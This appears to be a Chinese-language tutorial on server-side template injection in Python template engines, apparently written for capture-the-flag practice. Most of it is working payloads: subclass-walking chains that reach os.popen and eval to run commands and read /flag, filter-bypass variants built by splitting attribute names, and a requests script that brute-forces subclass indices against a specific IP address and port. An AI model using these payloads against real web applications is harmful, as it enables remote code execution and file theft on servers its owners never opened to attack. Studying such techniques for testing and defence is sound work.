web ssti注入
文章目录
- SSTI注入是什么
- SSTI注入怎么执行
SSTI注入是什么
- SSTI 注入(Server-Side Template Injection,服务器端模板注入是一种常见的 Web 应用程序漏洞,攻击者利用 Web 应用程序模板引擎的漏洞,在模板渲染过程中注入恶意代码,从而执行未授权的操作。
- 一般ssti都是通过 类->基类->危险函数的使用来实现注入的
[].__class__ 获取[] 对应的类
[].__class__.__base__ 获取[]对应的类的基类
[].__class__.base__.__subclasses__() 获取[]对应的类的基类的所有子类
[].__class__.base__.__subclasses__()[30]('flag').read() (假设<type file> file方法是第30,使用read()方法来读取flag文件)
[].__class__.base__.__subclasses__()[50].__init__.__globals__['os'].system('ls') (假设os类是第50个,初始化它并使用system函数来执行ls命令)
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ 导入内置函数,例如eval()等
- python3中没有file类了,可以使用以下类来读取文件
<class '_frozen_importlib_external.FileLoader'>
<class ‘click.utils.LazyFile’>
<class ‘codecs.IncrementalEncoder’>
举个例子,如果我要查询一个类的所有子类,可以这么写代码,为什么要查询类呢,因为有一些特殊的类和函数可以用来攻击,可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。
for i in range(500):
url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"
- 寻找含有eval()函数的类
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)
payload:{{[].__class__.__base__.__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
- 寻找os模块执行命令
payload:{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
- 寻找 importlib 类执行命令
payload:{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
- inecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
payload={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
SSTI注入怎么执行
1.在输入框做测试{{77}},如果返回值是49而不是77,说明输入值会被执行,存在SSTI漏洞
2.输{{[]._class_}}等命令寻找信息,如果被过滤了则采用+号分隔," "分隔等策略绕过
{{()['__cl'+'ass__']['__base__']}}
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()}}
3. 找到含os模块的类,假设是第132个,执行eval函数
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}